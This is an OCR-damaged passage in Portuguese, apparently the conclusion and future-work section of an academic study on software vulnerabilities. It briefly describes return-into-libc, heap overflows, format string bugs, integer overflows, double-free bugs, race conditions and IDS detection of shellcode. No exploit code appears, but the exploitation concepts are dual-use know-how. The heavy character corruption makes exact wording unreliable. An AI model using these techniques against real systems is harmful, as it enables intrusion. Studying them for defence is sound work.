impostas,e de certaforma, tem-seuma disputaque tem como conseg@énciaa elevacao de
seguran@ em diversosniveis. O Unico problemaé que asfalhasnos softwarestendema ser
corrigidasquandcé tardedemais.Porisso,e necesario queosdeserolvedoregprogramente
formadefensia etenhamnogaodasconsedjénciasde aplicadesmal deserolvidas.

Comapropostaconstridae estudarealizado percebeu-squeaomodificarcertoselemen-
tosno sistemaé pos$vel atingir um nivel de sgguran@ consideawel, poremaindaassimnao é
suficienteparaeliminarasameaasaindadesconhecidas.

6.1 TRABALHOS FUTUROS

A areade segguran@ de computadorepossuidiversoscamposa serempesquisadosNo
contecto sobrevulnerabilidadegmaplica®es,existemdiversosassuntosgcomo:

e return-into-libc estatécnicaé utlizadaparadesviarasrestriesimpostagpelasprotedes
de pilhas nao-eecutweis, ondea idéia principal € ao invésde seinjetar um codigo ar-
bitrario no programavitima, objetiva-sedesviaro fluxo de execu@o parafungdbesda
proprialibc, comoasfungdessystem(k execl()
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heapoverflows nesteprojeto,foramtratadosapenasgalhasdeestourade buffer queesto
armazenadosapilha. Poem, essediposdevariaveistamtempodemestararmazenadas
naheap e tamkemestosujeitasa seremestoundas

formatstring bugs essetipo de vulnerabilidade aconteceguandoum programadode-
satentoutiliza asfungdesde formata@o (como printf();) semindicar os formatadores,
como %s, utilizando printf(string) ao invés de printf("%s”, string). Ao esquecerdo
patametrode formata@o, & possvel ler e escre@er emregidesarbitrariasde menoria;

integer overflows integer overflowsocorremquandoum inteiro maior do que o atual
€ necesario pararepresentacorretamenteos resultadosde uma opera@o aritmética.
Geralmenteinteger overflowssao utilizadosde forma a levar umaaplica@o a setornar
vulneravel a heapoverflow

doublefreebugs umaexecu@o defree()numaregiao demenbria ja desalocadéeva a
corrup@o daheap permitindoum ustario mal-intencionadaxecutarcodigo arbitrario,
dependenddasitua@o;

race conditions existemcasosem que multiplos processo®u threadsinteragementre
si, e 0 programadordeve se assgurar que certostipos de opergdesrealizadassejam
atbmicas,casocontrario dadospodemseralterados;

assinatuas de IDS: trabalharna linha de pesquisacom IDSs paratentar melhorara
detec@o deshellcodessejaele polimorfico ou alfanunérico.
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